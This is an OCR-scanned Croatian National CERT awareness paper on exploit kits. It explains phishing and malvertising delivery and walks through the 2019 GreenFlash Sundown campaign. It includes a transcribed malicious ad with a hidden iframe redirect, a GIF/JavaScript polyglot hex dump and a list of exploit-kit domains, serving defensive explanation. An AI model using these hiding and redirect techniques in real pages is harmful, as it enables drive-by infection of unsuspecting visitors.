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1 Uvod

IstraZivanja s poCetka 2019. godine pokazala su da ljudi prosje¢no provode skoro tre¢inu
dana na internetu, bilo da je rije¢ o pretraZivanju informacija, druStvenim mreZama,
mobilnim aplikacijama, gledanju filmova, sluSanju glazbe ili ostalim aktivnostima na webu
(1).I1dokje, s jedne strane, web postao nezamjenjiv izvor informacija i razonode, s druge
strane predstavlja jedan od glavnih izvora opasnosti za ra¢unalo. Prilikom pregledavanja
weba korisnici se susrecu s raznim vrstama prijetnji, a jedna od najopasnijih takvih
prijetnji su exploit kitovi.

Exploit kit je naziv za zlonamjerni program ciji je kdd pohranjen na web stranici i koji
automatizirano i bez znanja korisnika:

¢ prikuplja informacije o racunalu, odnosno web pregledniku posjetitelja,

o detektira i, ako moze, iskoriStava ranjivost web preglednika (npr. Google Chrome,
Mozilla Firefox, Internet Explorer...) ili nekog drugog povezanog softvera (npr.
Adobe Flash Player),

e i tako u konacnici instalira zlonamjerni softver (npr. ransomware) na Zrtvino
racunalo.

Ukratko, primjer napada exploit kitom moZe izgledati ovako:

1) Zrtva posjeti legitimnu web stranicu, npr. portal s vijestima,

2) ta web stranica je na neki nac¢in kompromitirana, te je u nju ugraden exploit kit,
obi¢no putem zlonamjernih oglasa nad kojima vlasnik portala nema kontrolu (2),

3) bez korisnikovog znanja pokrece se prikupljanje informacija o web pregledniku i
povezanom softveru, i ako je pronadena ranjivost koju exploit kit zna iskoristiti,
korisnikovo racunalo je napadnuto i zaraZeno.

Exploit kitovi zasluzuju pozornost i tema su ovog dokumenta iz nekoliko razloga: Siroko
su dostupni, imaju Sirok domet, mogu uspjesSno napasti korisnika bez da korisnik
klikne na sumnjivu poveznicu ili preuzme/pokrene sumnjivi softver te je uspjesan
napad tesko primijetiti. Siroka dostupnost odnosi se na to da je exploit kitove moguée
tko. Sirok domet odnosi se na to da napadi exploit kitom obi¢no dosegnu veliki broj
korisnika, zbog toga S$to napadaci kompromitiraju popularne web stranice s velikim
brojem posjetitelja izravnim napadom ili putem zlonamjernih oglasa. Takoder, napade je
teSko primijetiti - Zrtva cijelo vrijeme nije svjesna Sto se dogada, njoj sve izgleda
uobicajeno jer nije morala nista preuzeti, kliknuti ili pokrenuti. Sve to skupa dovodi do
zakljucka da je vrlo vjerojatno da e se, ako ve¢ nije, svatko od nas susresti s pokuSajem
napada exploit kita koji moze, ili ne mora biti uspjeSan.

Cilj ovakvog napada u pravilu je novcana korist. Rezultat napada - zlonamjerni softver
instaliran na Zrtvinom racunalu - moZe: Sifrirati sve podatke i traZiti otkupninu
(ransomware), krasti osjetljive podatke s raCunala, integrirati Zrtvino racunalo u botnet
mrezu koja se kasnije iznajmljuje za DoS (engl. Denial of Service) napade ili slanje spam
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poruka e-poStom, Kkoristiti racunalne resurse na Zrtvinom racunalu za rudarenje
kriptovaluta ili zloupotrijebiti Zrtvino ra¢unalo na neki drugi nacin.

Iako je cilj napada exploit kitom ve¢inom novc¢ana Korist, postoje i iznimke. Primjerice, u
rujnu 2019. godine otkrivena je kampanja napada u kojoj su korisnici odredene web
stranice kroz dvije godine napadani sofisticiranim exploit kitom. Exploit kit je napadao
korisnike Windows raCunala te iPhone i Android pametnih telefona. Iznenadujuce je da je
u napadima koriSteno viSe tzv. zero-day ranjivosti za iPhone (javno nepoznate ranjivosti,
bez dostupne zakrpe) cija se trzisSna vrijednost mjeri u milijunima dolara. Sama ¢injenica
da je napad koStao viSe milijuna dolara je indikacija da svrha napada vjerojatno nije bila
novcana korist. Konkretnije, izvori detaljnije upoznati sa situacijom upucuju na to da je
svrha napada bila Spijuniranje odredene etnicke skupine unutar Kine (3) (4).

Nastavak ovog dokumenta ¢e objasniti nacela rada exploit kitova, opisati rad exploit kita
na konkretnom primjeru te navesti smjernice kako se zastititi od ovakvih napada.
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2 Kako funkcionira exploit kit

Exploit kitovi se sastoje od kolekcije exploita. Exploit je specijalizirani program ili niz
instrukcija/podataka namijenjenih iskoriStavanju ranjivosti (engl. vulnerabilities).
Ranjivost je propust/pogreSka u softveru koju je moguce zloupotrijebiti - primjerice,
ranjivost u web pregledniku (npr. Google Chrome, Mozilla Firefox, Internet Explorer...)
moZe omogucliti napadacu da pomocu posebno konstruirane web stranice napadne
posijetitelje i preuzme kontrolu nad njihovim racunalom.

Jedan od razloga Siroke dostupnosti exploit kitova je to $to su se kriminalci specijalizirali
i podijelili poslove - odredene skupine kriminalaca sa znanjem razvoja exploita sastavljaju
exploit kitove, a drugi kriminalci na crnom trziStu kupuju ili iznajmljuju exploit kitove od
te prve grupe kako bi prosirili neki oblik zlonamjernog softvera i tako zaradili.

Cijene exploit kitova se okvirno krecu od $100 do $10.000 mjesecno (5). Jeftiniji exploit
kitovi integriraju viSe javno objavljenih exploita koje je ve¢ netko drugi pripremio i
moguce ih je besplatno pronaci online. Takvi exploit kitovi ve¢inom iskoriStavaju starije
ranjivosti koje je proizvodac najvjerojatnije ve¢ popravio i izdao sigurnosnu zakrpu, Sto
znaci da Zrtva mora imati neaZurne inacice web preglednika ili njegovih dodataka da bi se
zarazila. Skuplji exploit kitovi integriraju aZurnije exploite za ranjivosti koje su nedavno
objavljene. Noviji, aZurniji exploiti korisniji su napadacu jer je veca vjerojatnost da Zrtve i
dalje koriste inacice softvera koje se mogu napasti, bilo zato $to korisnik jos nije aZurirao
softver, bilo zato Sto proizvodac joS nije izdao sigurnosnu zakrpu.

Uzmimo za primjer ranjivost Internet Explorera iz 2016. godine poznatu pod
identifikatorom CVE-2016-0189 (6). Ranjivost je vezana uz greSku u programskom kddu
web preglednika Internet Explorer koja dopuSta napadacu da izvrSava proizvoljni kod na
Zrtvinom racunalu, Sto se ne bi smjelo dogoditi, tj. preglednik ne bi smio ni jednoj web
stranici dopustiti izvrSavanje bilo kakvog kdda izvan svoje izolirane sigurnosne okoline
(tzv. sandbox).

Kad je uocena ranjivost, sigurnosni stru¢njaci su ubrzo razvili exploite, od kojih su neki i
javno dostupni. No, i Microsoft je brzo zakrpao ranjivost i izdao inacicu Internet Explorera
na kojoj se taj exploit viSe ne moZe koristiti.

Programer Kkoji razvija exploit kit moZe taj exploit uvrstiti u svoj alat s ciljem da zarazi
korisnike sa starijim, ranjivim inacicama preglednika. No ako stranici s tim exploit kitom
pristupi korisnik s preglednikom Google Chrome ili s azuriranom inacicom Internet
Explorera, napad tim exploitom nece uspjeti.

Exploit kitovi mogu biti prilicno jednostavni za uporabu, a u paketu s njima moze do¢i i
pregledno korisnicko sucelje preko kojega napadac jednostavno pokrene napad i prati
uspjeSnost svoje kampanje, tj. na koliko je korisnic¢kih racunala i kakvih karakteristika
uspio prosiriti zlonamjerni softver. Na slikama 1 i 2 prikazan je primjer korisnickog
sucelja exploit kita Blackhole, poznatog po tome $to je 2012. godine bio jedna od najvecih
prijetnji na webu (7).
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Slika 1 Korisnicko sucelje exploit kita Blackhole - glavni pregled statistika (8)
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Slika 2 Korisnicko sucelje exploit kita Blackhole - pregled statistika koristenih exploita (8)
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Exploit kit funkcionira tako da se na nekoj legitimnoj, ali kompromitiranoj web stranici
Zrtva nesvjesno, u pozadini preusmjeri na web stranicu exploit kita, ili da Zrtva izravno
klikne na poveznicu na exploit kit u phishing poruci e-poste. Skriveni JavaScript kdd exploit
kita zatim:

e detektira inacice softvera na Zrtvinom racunalu i odreduje koje ranjivosti web
preglednika moze iskoristiti. JavaScriptom se mogu prikupiti podaci o vrsti i
inacici operacijskog sustava, inaCici web preglednika, instaliranim dodacima i
njihovim ina¢icama, podrZanim funkcionalnostima (npr. WebGL) itd.

e ako Zrtva ima odgovarajudi ranjivi softver (a od velikog broja posjetitelja, neki ¢e
zasigurno imati), exploit kit ¢e iskoristiti odgovarajucu ranjivost i time uspjeSno
napasti Zrtvu, tj. uspjesno ¢e instalirati zlonamjerni softver na njeno racunalo.

Napadac sad ima kontrolu i pristup na Zrtvino ra¢unalo i moZe ostvariti korist primjerice
instalacijom ransomwarea, kradom podataka, rudarenjem Kriptovaluta, umrezZavanjem
Zrtvinog raCunala u botnet itd. Cijeli proces napada prikazan je na slici 3.

stranica exploit kita detektira
S preglednik i njegove ranjivosti

ucitavanje zlonamjerne @

web stranice exploit kita

) . ...| odabire exploit kojim moZe napasti
pregledavanje kompromi- preglednik odredene Zrtve i zaraziti racunalo
/

tirane web stranice l
¥

&
. :

|
Zrtvino racunalo

Slika 3 Tijek napada exploit kitom (9)
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Konkretniji primjer jednog takvog scenarija napada moZe biti sljedeci:

1.

Korisnik svako jutro pregledava web stranicu nekog portala s vijestima. Portal
posjecuje velik broj korisnika, stoga on prikazuje oglase i na taj nacin zaraduje od
reklamiranja.

Portal nema nikakve kontrole nad oglasima koji se prikazuju. Oglasna mreza mu
placa oglasni prostor, ali vlasnik portala ne zna koji ¢e se oglasi prikazivati niti
otkud oni dolaze. Isto tako, vlasnik portala ne moZe znati sadrzava li neki od tih
oglasa zlonamjerni kdéd - vlasnik portala vjeruje da mu oglasna mreZa isporucuje
samo legitimne oglase. Ali, u oglasnu mrezu napadaci ponekada uspiju unijeti oglas
sa zlonamjernim k6dom Kkoji se sad moZe prikazati i na stranici portala.

Samim otvaranjem web stranice portala, Zrtvin web preglednik ucitat ce i
zlonamjerni kdd iz oglasa i u pozadini (bez da korisnik primijeti) ucitati stranicu
exploit kita te pokrenuti njen JavaScript kod.

Exploit kit sada zapocinje skeniranje Zrtvinog preglednika i prikupljanje
informacija o softveru - inacici i proizvodacu web preglednika, dodataka i
proSirenja web preglednika, itd. Recimo da naSa Zrtva ima zastarjelu inaCicu
Internet Explorera koja sadrZi ranjivost koja omogucuje napadacu izvrSavanje
proizvoljnog kéda na Zrtvinom racunalu. Exploit kit ima spreman exploit kojim cCe
to postic¢i i upotrebljava ga. Recimo da je istovremeno stranicu portala posjetio i
drugi korisnik s azuriranom inacicom Internet Explorera za kojeg exploit kit nema
nikakvu identificiranu ranjivost. Taj korisnik nece postati Zrtva napada.

Na Zrtvino racunalo instalirao se zlonamjerni softver - u ovom primjeru:
ransomware. Korisnik odjednom nema pristup svojim podacima, sve datoteke su
Sifrirane i neupotrebljive, a napadac ga traZi otkupninu kako bi povratio svoje
datoteke.

U nastavku Ce faze napada exploit kitom biti detaljnije objasnjene.

2.1 Kontakt sa zlonamjernom stranicom

Kako bi napad bio uspjesan, prvo je potrebno potencijalnu Zrtvu dovesti u kontakt sa
stranicom na kojoj se nalazi exploit kit. Napadacu je cilj stupiti u kontakt s ¢im ve¢im
brojem korisnika jer nece svaki biti podloZan napadu. To moZe ostvariti na viSe nacina, ali
uglavnom su to:

slanje phishing/spam poruka e-poSte na veliki broj mailova,
kompromitacija popularnih web stranica zlonamjernim oglasima,

izravna kompromitacija/preuzimanje kontrole nad ranjivim web stranicama.
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2.1.1 Phishing/spam poruke e-poSte

Na adrese veceg broja korisnika stizu paZljivo sastavljene poruke e-poste koje ¢e privuci
njihovu pozornost i pokusati ih navesti da kliknu na odredenu poveznicu. Ta poveznica
preusmjerit ¢e Zrtvu na stranicu na kojoj se nalazi exploit kit.

Uobicajeni primjer bila bi poruka naslova , Thank you for your order” koja obavjeStava
korisnika da je nesto kupio u online trgovini i nudi mu dodatne informacije o narudzbi ako
klikne na poveznicu. Uspaniceni korisnik zna da nisSta nije narucio, pomisli da je netko
zloupotrijebio njegovu karticu ili racun i klikne na poveznicu kako bi provjerio u cemu je
problem i pokuSao ponistiti narudzbu. Web preglednik otvara laZiranu stranicu neke
online trgovine i dok je Zrtva pregledava, u pozadini se izvrSava skeniranje ranjivosti i
napad. Zrtva mozda nece primijetiti da je na zlonamjernoj stranici jer je stranica
dizajnirana tako da izgleda kao i prava, no ¢ak i da primijeti, dovoljno je nekoliko
trenutaka da se napad automatski izvrsi u pozadini. Kod ovakvog pristupa veliku ulogu
igra socijalni inZenjering - napadac¢ pokuSava uspaniciti ili zainteresirati korisnika da
uistinu otvori poruku i klikne na poveznicu.

Na slici 4 prikazana je phishing/spam poruka e-posSte koju su napadaci koristili 2012.
godine kako bi preusmjerili korisnike na web stranicu exploit kita Blackhole.

From: nfo@emewarnercablebusiness com

Date: Manday, Septembar 10, 2012 10:14 PM

To:

Subject:  Timewarnerchbie Business Order Confimation

TIME V.VARNER CABLE
Business Class
ERESIEPD SOy

ALERT @)

Thank you for your order.

Your order confirmation number : A54-2419-2A78
Order Date : 9/1042012

Payment Type : Onlme Payment

Payment amount : $1299.00 USD

Payment date: Sep 10, 2012 (at 09:59 EST)

Click here to view vomr order details

Note: To complete your order, you must confirm your selection of Time Warner Cable as your
service prowider by checking the boxes next to each statement. Should you have any questions,
please wist Time Warner Cable Business Class

Thank you,
Time Wamer Business Class
http: ‘twebe.com

http:fs Y pEDadkT findax. himl

Slika 4 Primjer phishing/spam poruke e-poste koja vodi na exploit kit Blackhole (10)
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2.1.2 Kompromitacija legitimnih web stranica zlonamjernim oglasima

Exploit kitovi se Cesto skriveno izvrSavaju u pozadini legitimnih web stranica koje je
napadac nekako uspio kompromitirati i ubaciti svoj zlonamjerni kdd, bez znanja vlasnika
web stranice i njenih posjetitelja. Jedan cesti nacin kojim to napadaci izvode je tzv.
zlonamjerno oglaSavanje (engl. malvertising).

Zlonamjerno oglasavanje oslanja se na ¢injenicu da, kod online oglasavanja, u vecini
slucajeva vlasnik web stranice nema kontrolu nad sadrZajem samih oglasa. Posebno je
zastraSujuca cinjenica da, jednom kada napadac uspije objaviti zlonamjerni oglas u
legitimnu oglaSivacku mreZu, taj oglas moZe u kratkom vremenu doseci veliki broj
korisnika. Najveca opasnost vezana uz zlonamjerno oglaSavanje je upravo to Sto Zrtva ne
mora napraviti nikakvu greSku (npr. klik na sumnjivu poveznicu) - ona samo posjeti
legitimnu web stranicu, a zZlonamjerni kéd u pozadini odradi sve ostalo. Na slici 5 prikazan
je tijek napada exploit kitom putem zlonamjernog oglasavanja.

6.
|
2. 5.
—_— www —_—
preusmjeravanje
korisnik legitimna stranica koja iskoristavanje
prikazuje oglase ranjivost
4.
informacije zlonamjerni
o korisniku oglas
3.
1.
— AD
zlonamjerni oglas @
napadac oglasna mreza

Slika 5 Tijek napada exploit kitom putem zlonamjernog oglasavanja (11)

Nedavno je zabiljeZen slucaj gdje je u stranicu za konvertiranje video zapisa, koja
mjesecno broji viSe od 200 milijuna posjetitelja, kroz oglas bio ubacen zlonamjerni kod
koji preusmjerava korisnike na exploit kit. Zlonamjerni JavaScript kdd bio je i djelomicno
prikriven - glavni dio kdda bio je sakriven u GIF datoteci, dok je preostali kdd sluzio za to
da izvadi glavni dio kdda iz GIF datoteke i pokrene ga (12).

Mnogi ljudi su imali nekakvog doticaja s online oglaSavanjem pa lako mogu pomisliti -
kako je uopée moguce ubaciti zlonamjerni oglas s JavaScript kédom? Kod online
oglasavanja, oglasivaci obi¢no predaju oglas u obliku teksta ili slike, a ne JavaScript koda.
Takoder, prva pomisao na oglasivacke mreZe je Cesto Google AdSense i nelogi¢no je da bi
Google dopustio zlonamjerne oglase i time se izloZio reputacijskom riziku i tuzbama. No u
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stvari, na internetu postoje i druge oglasivacke mreZe koje zakupljuju prostor te taj
prostor preprodaju manjim oglasivackim tvrtkama na stranicama za licitaciju. Na taj nac¢in
te oglaSivacke mreZe zaraduju na razlici cijene koju su platili i po kojoj su prodali oglasni
prostor.

Zbog brzine kojom se odvija licitiranje za oglasni prostor, koliine oglasa i viSestruke
delegacije zakupljenog prostora, oglasne mreZe nemaju dovoljnu kontrolu nad oglasima
koji se ucitavaju pa se napadac moze lazno predstaviti kao manja oglasivacka mrezZa i tako
infiltrirati sa svojim zlonamjernim oglasom.

Napadac¢ mora sastaviti oglas u koji je prethodno sakrio zlonamjerni kdd, prijaviti se na
stranicu za licitiranje kao oglaSivacka tvrtka i zatim licitirati za oglasni prostor skupa s
ostalim legitimnim tvrtkama. Taj proces licitiranja naziva se Real Time Bidding, a odvija
se kao Sto mu ime kaZe - u stvarnom vremenu (13).

Na slici 6 prikazan je odnos web stranica koje nude svoj oglasni prostor, ve¢ih oglasnih
mreZa, legitimnih malih oglasSivaca i napadaca koji se ubacio i objavljuje zlonamjerne
oglase.

web stranice koje
nude oglasni prostor

velike oglaSivacke mreze @ @
manje oglasivacke mreze / / \ / / \\

U napadac

Slika 6 Hijerarhija oglasnih mreZa i infiltracija napadaca sa zlonamjernim oglasom

Alternativno, napadac¢ ne mora licitirati, ve¢ moZe i izravno napasti posluzitelje neke
oglaSivacke mreze i tako ubaciti svoj zlonamjerni oglas.

U oba slucaja, oglas se moze prikazati na bilo kojoj web stranici koja je iznajmila svoj
oglasni prostor - to moze biti i neki manji blog, ali moZe biti i stranica s nekoliko milijuna
posjetitelja dnevno. Upravo su stranice s ve¢im brojem posjetitelja sklonije iznajmljivati
svoj oglasni prostor jer im to donosi znatne prihode. Jednom kada su napadacevi oglasi
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dio oglasne mreZe, ovisno o web stranicama na kojima ¢e se oglas prikazivati, zlonamjerni
kdd moze imati pristup velikom broju posjetitelja.

Zlonamjerni oglasi mogu biti sumnjivi i alarmantni, poput ,VaSe racunalo je zarazeno” ili
»Zaradite milijun dolara u 10 dana®“, ali korisnike se sa svih strana upozorava da na to ne
nasjedaju, tako da su ipak uspjeSniji zlonamjerni oglasi koji izgledaju uobicajeno, a
instalaciju zlonamjernog softvera exploit kit odradi u pozadini bez Zrtvine suradnje, Sto se
jos naziva i drive-by download.

Na slici 7 prikazan je jedan takav oglas koji HTML iframe elementom u pozadini
preusmjerava Zrtvin preglednik na neku drugu stranicu.

J [ x \_ \
€« C D =
[ [=[E] = ]
*
] 97 =
»*, html, body{margin:@;padding:@@;}</stylex</head>
<div id="frame" style="width:3@@px; height:258px;padding:@;margin:@;"><script
src="http://pub.marialoantracker.com/5@8613%968. s ?domain=twcc.comdpubid=aol_48638926"»</script>
</div
£ s & 7| <script> [
g var autoreport_pixel = *';
VISIT WWW.LOANUP.COM NOW! var refdomaintop = document.referrer
10 document.write(autoreport_pixel. replgce( refdomain=", 'refdomain=top: "+refdomaintop));
</scripts
<input id="ctrl” f
H _-,1=— width: 1p)< height:1px;border:none;gpsition: absolute;top: -3@px; left: -30px; z-index:-10" />
< t type="text/javascript">function addEvent(obj, e, fn) { if (typeof obj.addEventListener
!== "undefined") { obj.addEventlListener (:, fn, false); } else if (typeof obj.attachEvent !=
"undefined") {obj.attachEvent("on™ + ef fn);}}ifunction focus(){ctrl.focus(};}var ctrl =
document getElEmentById( ctrl”); var frame=document.getElementById("frame™); var inFrame =
— G oddEuanefn , M finebinnly [ . dep -+
o,
(< i u - L L m -Notepade+ ; \El@
File Edit Search View Encoding Language Settings Macro Run  Plugins  Window 7 X
o3 LB dRD|Ae(hyl = BERIE .ul@\@@mmm.«s@
=] tm E3| ,
T alink.href = ‘ht.t.]gs:[[loanu]g.ccmga};]glication[?soro=864172&adr.p_=9gam&geotﬁus&ul=eng&fm=loan‘: o
alink.target = "_blank"; 7
5 document.write(alink.ounterHTHL) ; '
11 document.write('<iframe src="http: . style 3
="position:absolute;right:-10000px" ></iframe>") I

Slika 7 Oglas sa skrivenim kédom koji preusmjerava na stranicu exploit kita (13)

2.1.3 Izravna kompromitacija web stranica i umetanje kdda

U prethodnom dokumentu Nacionalnog CERT-a: ,Sigurnosni rizici JavaScript kéda“
ukratko su objaSnjene Cross-site scripting (XSS) ranjivosti. PojaSnjeno je kako je njima
moguce ubaciti zlonamjerni JavaScript kod na ranjivu web stranicu, te da jedan nacin na
koji to kriminalci zloupotrebljavaju je upravo ubacivanje exploit kita na legitimne web
stranice.

No, XSS ranjivosti nisu jedini mehanizam kojim napadac¢ moZe ubaciti exploit kit na tudu
web stranicu - dovoljno je da napadac preuzme kontrolu nad web stranicom na bilo koji
nacin koji mu omogucuje da ubaci svoj kdd, primjerice:

¢ iskoriStavanjem neke druge ranjivosti web stranice koja napadacu moze posredno

omoguciti ubacivanje svog kéda na stranicu: SQL injection, command injection,
nezaSticeno ucitavanje datoteke (engl. unrestricted file upload)...
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¢ iskoriStavanjem ranjivosti u neazurnom sustavu za upravljanje sadrzajem (engl.
content management system, CMS), npr. iskoriStavanjem ranjivosti Wordpressa ili
nekog dodatka (engl. plugin) za Wordpress,

e iskoriStavanjem ranjivosti nekog nevezanog servisa na posluZitelju, primjerice
FTP servisa,

e pogadanjem lozinke administratora web stranice.

2.2 SKkeniranje i iskoriStavanje ranjivosti

Nakon $to je potencijalna zrtva dovedena u kontakt sa zlonamjernom stranicom na kojoj
se nalazi exploit kit, slijedi skeniranje Zrtvinog preglednika/racunala i iskoriStavanje
ranjivosti.

Exploit kit ima ugraden popis exploita i odgovarajucih ranjivosti za odredene inacice
preglednika i njihovih dodataka. Cesto je rije¢ o javno dostupnim exploitima ili exploitima
koje su kriminalci sastavili, ali za javne, ve¢ poznate ranjivosti. Ponekad, exploit kitovi
sadrZavaju i tzv. zero-day exploite koji iskoristavaju javno nepoznate ranjivosti za koje
proizvodac jos nije izdao zakrpu (2).

Exploit kitovi napadaju softver koji se izravno ili neizravno pokrece prilikom otvaranja
web stranice. Primarno su to web preglednik (npr. Google Chrome, Mozilla Firefox, Internet
Explorer) i njegovi dodaci (npr. Adobe Flash Player, Java, Adobe Reader).

Kako bi exploit kit znao koju ranjivost moze iskoristiti, prvo pokrec¢e kod koji prikuplja
informacije o inac¢icama softvera na Zrtvinom racunalu (proizvodac i inacica preglednika,
dodaci pregledniku, operacijski sustav). Zatim, usporedbom prikupljenih informacija s
informacijama o ranjivim inac¢icama softvera, exploit kit moZe znati je li korisnik ranjiv na
neki od exploita u arsenalu exploit kita. Primjerice, exploit kit moZe prepoznati da Zrtva
koristi staru inacicu preglednika Internet Explorer i staru inacicu dodatka Adobe Flash
Player.

Sama Cinjenica da je Zrtva posjetila web stranicu ne znaci da ¢e napad uspjeti - napad ¢e
uspjeti samo ako Zrtva koristi odredene ranjive inacice softvera za koje exploit kit ima
pripremljen exploit. Upravo zato, za uspjeSne napade exploit kitom, napada¢ pokusava
do¢i u kontakt sa Sto ve¢im brojem korisnika kako bi u konac¢nici neki od tih korisnika (oni
s ranjivim softverom za Koje exploit kit ima pripremljen exploit) bili uspjesno napadnuti.

Prethodni dokument Nacionalnog CERT-a: ,Sigurnosni rizici JavaScript koéda“ ima
dodatne informacije o ovom koraku napada exploit kitom iz druge perspektive (rizik
pokretanja JavaScript koda).

2.3 Instalacija zlonamjernog softvera na Zrtvino racunalo

Jednom kada ranjiva zZrtva naide na exploit kit, exploit kit iskoriStava ranjivost i preuzima
kontrolu nad Zrtvinim raCunalom, tj. preciznije - moZe izvrSavati naredbe na Zrtvinom
raCunalu izvan sigurnosne okoline preglednika (sandbox). Tada se obi¢no izvrsavaju
naredbe koje preuzimaju datoteke zlonamjernog softvera i pokrecu ih na Zrtvinom
racunalu.
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NapadacCu preostaje joS odabrati nacCin na koji ¢e unovciti svoj napad. Instalacija
ransomwarea i traZenje otkupnine trenutno je najces¢i nacin za naplatu napada exploit
kitom (14).

Osim ransomwarea, napadac moze:
e automatizirano prikupiti osjetljive podatke (npr. brojeve kreditnih Kkartica,
korisni¢ka imena i lozinke),

e integrirati korisnika u botnet mrezu koja Ce se koristiti za DDoS napade ili slanje
spam poruka e-poste,

¢ instalirati bankarskog trojanskog konja,

e instalirati zlonamjerni softver za rudarenje kriptovaluta i time troSiti Zrtvine
raCunalne resurse za svoju zaradu.

Razvoj kriptovaluta posebice je pogodovao ucjeni i traZenju otkupnine te rudarenju
kriptovaluta Zrtvinim racunalom jer, za razliku od bankarskog racuna, vlasnik racuna
kriptovaluta je anoniman ili pseudoniman.
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3 Primjer rada stvarnog exploit kita

Ovo poglavlje opisuje rad exploit kita GreenFlash Sundown koji je u lipnju 2019. godine
distribuirao ransomware SEON, spyware Pony i zlonamjerni softver za rudarenje
kriptovalute Monero (engl. cryptojacking /cryptominer/coin miner).

Zrtve su u kontakt s exploit kitom dosle putem zlonamjernih oglasa koji su ubaceni u
oglasnu mreZu i pojavljivali su se na legitimnim stranicama, a jedna od njih je i popularna
stranica za konverziju videa na domeni onlinevideoconverter.com koja je u to vrijeme
mjesecno brojala preko 200 milijuna posjetitelja (15). Na slici 8 prikazana je statistika
posjecenosti stranice onlinevideoconverter.com.

B onlinevideoconverter.com p— May2019 (T

Trafﬁc OverVieW ® Estimated Data Verify Your Website

Total Visits ® Engagement

2 [] on deskiop & mobile web, in the last 6 months

Total Visits 200.65M

~0.43%

(5 Avg. Visit Duration 00:06:37
Pages per Visit 5.77
#» Bounce Rate 24.08%

Slika 8 Posjecenost stranice onlinevideoconverter.com (15)

Dok je Zrtva pregledavala stranicu, posluZitelj s oglasima prikazao je i podmetnuti
zlonamjerni oglas s JavaScript kodom i laznom GIF datotekom koja je u stvari sakrivala
glavni dio zlonamjernog koda kao Sto je prikazano na slici 9 (15).
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22 63 61 49 66 4D 41 75 66 22 2C 22 63 4C 59 54 4B 73 "cal fMRuf", "cLYTJIx
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Slika 9 Skriveni JavaScript kéd unutar laZne GIF datoteke (15)

Exploit kitovi ovako sakrivaju zlonamjerni kéd kako bi teZe bio otkriven u bilo kojoj fazi
napada (i tijekom infiltracije zlonamjernog oglasa u oglasivacku mreZu, i tijekom napada
na krajnju zZrtvu). Sljedece dvije tehnike su uobicajene za krijumcarenje skrivenog kdda u
slikama (16):

1) Poliglotske datoteke

Opcenito, poliglotske datoteke su datoteke koje se u isto vrijeme mogu interpretirati
kao dvije ili viSe razlicitih vrsta datoteka. Konkretnije, u ovom slucaju poliglotska
datoteka je datoteka koja se u isto vrijeme mozZe interpretirati kao slika, ali i kao
JavaScript kod. Primjerice, u HTML kdédu u nastavku prvi element prikazuje sliku, t;.
interpretira poliglotsku datoteku kao sliku formata GIF, a drugi put ucitava istu
datoteku kao JavaScript kod:

<img src="poliglotska datoteka.gif">
<script src="poliglotska datoteka.gif"></script>

Kako bi se to moglo izvesti, datoteka mora biti pazljivo sastavljena. Na slici 10 je kao
primjer prikazan heksadekadski prikaz jednostavne poliglotske datoteke koja se moZe
interpretirati i kao GIF slika i kao JavaScript kod.
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Offset(h) 00 01 02 03 04 05 06 07 Decoded text

00000000 47 49 46 38 39 ©l 2F 2A GIFgSsa/~
00000008 00 280 00 0O FF FF FF 00 .E€..¥VY¥.
00000010 00 00 21 F9 04 00 00 00 ..M'a....
00000018 OO0 00 2C OO0 OO0 00 00 Ol ..punans
00000020 OO0 O1 00 OO0 02 02 44 01 ......D.
00000028 2E 3B 2A 2F 3D 22 70 77 .;%/="pw
00000030 e©E 65 ©4 22 3B 20 €l 6C ned™; al
00000038 €5 72 T4 28 22 TA eC 6F ert(™zlo
00000040 ©E €1 €D €A 65 72 6E €% namjerni
00000048 20 B oF 64 22 29 . kad"}d

Slika 10 Heksadekadski prikaz jednostavne poliglotske datoteke koja se moZe interpretirati i kao GIF
slika i kao JavaScript kéd

2) Steganografski sakriven kdd unutar sadrZaja slike

U ovoj tehnici, slika (npr. GIF datoteka) se ne moZe sama po sebi interpretirati kao
JavaScript kéd, ali je u njenom sadrZaju na neki nacin ipak sakriven zlonamjerni
JavaScript kéd. Kod moZe biti jednostavno ,zalijepljen“ na kraj datoteke, a u
sofisticiranijem slu¢aju moZe biti sakriven i u izmjenama vrijednosti pojedinih piksela.
Ovom tehnikom je moguce izrazito dobro sakriti sadrzaj unutar same datoteke, ali je
zato potreban vanjski kdd koji ¢e znati interpretirati sadrzaj slike i na temelju njega
rekonstruirati te pokrenuti sakriveni kod.

U konkretnom slucaju napada exploit kita GreenFlash Sundown, JavaScript kod sakriven je
jednostavnim dodavanjem kdda na kraj GIF datoteke. Ipak, sakriveni kod je zaSti¢en od
analize na drugi naCin - napravljene su razne transformacije kako bi kéd i dalje bio valjan,
tj. kako bi ga web preglednik znao interpretirati, no kako bi u isto vrijeme ruc¢no ¢itanje
kdda bilo znatno sloZenije (engl. obfuscation). Zbog toga je izravna analiza ¢itanjem koda
bila oteZana, no mreznom analizom je ustavljeno da zlonamjerni oglas u pozadini Salje
HTTP zahtjev za dohvat web stranica na kojima je pohranjen exploit kit (15). Na slici 11
prikazan je mreZni promet generiran tijekom napada exploit kita GreenFlash Sundown.

Host  URL Body Commeants
www.onlinevideoconverter.com /youtube-converter 50,171 Compromised site
ads.onlinevideoconverter.com  /wwwi/delivery/ajs.php?zoneid=18ch=82542670449... 5,365 Compromised site

ads.onlinevideoconverter.com  fwww/delivery/lg.php?bannerid =08&campaignid=08z... 4,871 Fake GIF

fastimage.site  /act_image.html 136,683 Pre-filer

fastimage.site [act_image.htmi?mercy=FdMzpfikLihAnNPppGIucrCH... 2,900 Pre-filter

fastimage.site  /uptime.js Pre-filter

adsfast.site  /crossdomain.xm GreenFlash Sundown EK (

adsfast.site  /index.php 2,941 GreenFlash Sundown EK
accomplishedsettings.cdn-cloud.club  /crossdormain.xmi . (01) GreenFlash Sundown
accomplishedsettings.cdn-cloud.club  /index.php (02) GreenFlash Sundown

accomplishedsettings.cdn-cloud.club  /index.php : (03) GreenFlash Sundown
accomplishedsettings.cdn-cloud.cub  /index.php?58f3d135=AwNtoINFIvMISIV pwiB6CWS... 0: (04) GreenFlash Sundown
accomplishedsettings.cdn-cloud.club  /index.php?58f3d135=AwWNteINFIVMISIVpwiBGCWS... : (05) GreenFlash Sundown

Slika 11 MrezZni promet generiran tijekom napada exploit kita GreenFlash Sundown (15)

Nakon nekoliko preusmjeravanja i ucitavanja kdda s razli¢itih domena, ucitava se i
izvrSava exploit. 1ako je exploit kit vjerojatno sadrZavao nekoliko razlic¢itih exploita,
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otkriveno je da se u kampanji koja se odvijala u lipnju koristio exploit za ranjivost dodatka
pregledniku Adobe Flash Player poznatu pod identifikatorom CVE-2018-15982 (17).
Navedeni exploit moZe napasti inacice Adobe Flash Playera 31.0.0.153/31.0.0.108 i starije,
